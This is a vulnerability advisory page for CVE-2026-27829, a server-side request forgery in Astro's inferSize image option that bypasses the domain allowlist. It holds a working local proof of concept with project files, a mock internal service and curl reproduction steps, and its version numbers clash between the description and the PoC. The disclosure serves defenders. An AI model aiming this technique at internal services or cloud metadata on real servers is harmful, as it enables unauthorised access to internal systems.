CVE-2026-27829
JSON

6.5medium

Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize

Severity
6.5medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.33% (higher than 27% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-cj9f-h6r6-4cx2

Description

Astro is a web framework. In versions 9.0.0 through 9.5.3, a bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts. Astro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options). However, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts. This allows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints. Version 9.5.4 fixes the issue.

Affected

Product or packageVersionsReported by
withastro astro>= 9.0.0, < 9.5.4CVE List
@astrojs/node (npm)from 9.0.0 before 9.5.4GitHub Advisory Database
astro @astrojs/nodefrom 9.0.0 before 9.5.4NVD

All scores

GitHub_M6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
GitHub6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
NVD7.2high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

Classification

CWE-918

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Astro is a web framework. In versions 9.0.0 through 9.5.3, a bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts. Astro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options). However, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts. This allows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints. Version 9.5.4 fixes the issue.

GitHub Advisory Database

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC

<details>
Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs — only localhost:9000 is authorized:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});

internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):

import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));

src/pages/test.astro:

---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>
Steps to reproduce
  1. Run npm install and start the internal service:
node internal-service.mjs
  1. Start the dev server:
npm run dev
  1. Request the page:
curl http://localhost:4322/test
  1. internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
</details>

Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

NVD (es)

Astro es un framework web. En las versiones 9.0.0 a 9.5.3, un error en la pipeline de imágenes de Astro permite eludir las restricciones de `image.domains` / `image.remotePatterns`, lo que permite al servidor obtener contenido de hosts remotos no autorizados. Astro proporciona una opción `inferSize` que obtiene imágenes remotas en el momento de la renderización para determinar sus dimensiones. La obtención de imágenes remotas está destinada a restringirse a dominios que el desarrollador del sitio ha autorizado manualmente (utilizando las opciones `image.domains` o `image.remotePatterns`). Sin embargo, cuando se utiliza `inferSize`, no se realiza ninguna validación de dominio — la imagen se obtiene de cualquier host independientemente de las restricciones configuradas. Un atacante que puede influir en la URL de la imagen (por ejemplo, a través de contenido de CMS o datos proporcionados por el usuario) puede hacer que el servidor obtenga contenido de hosts arbitrarios. Esto permite eludir las restricciones de `image.domains` / `image.remotePatterns` para realizar peticiones del lado del servidor a hosts no autorizados. Esto incluye el riesgo de falsificación de petición del lado del servidor (SSRF) contra servicios de red internos y puntos finales de metadatos en la nube. La versión 9.5.4 corrige el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-27829 changed 2026-02-26CVE Terms of Use
GitHub Advisory DatabaseGHSA-cj9f-h6r6-4cx2 changed 2026-02-28CC-BY-4.0
NVDCVE-2026-27829 changed 2026-06-17Public domain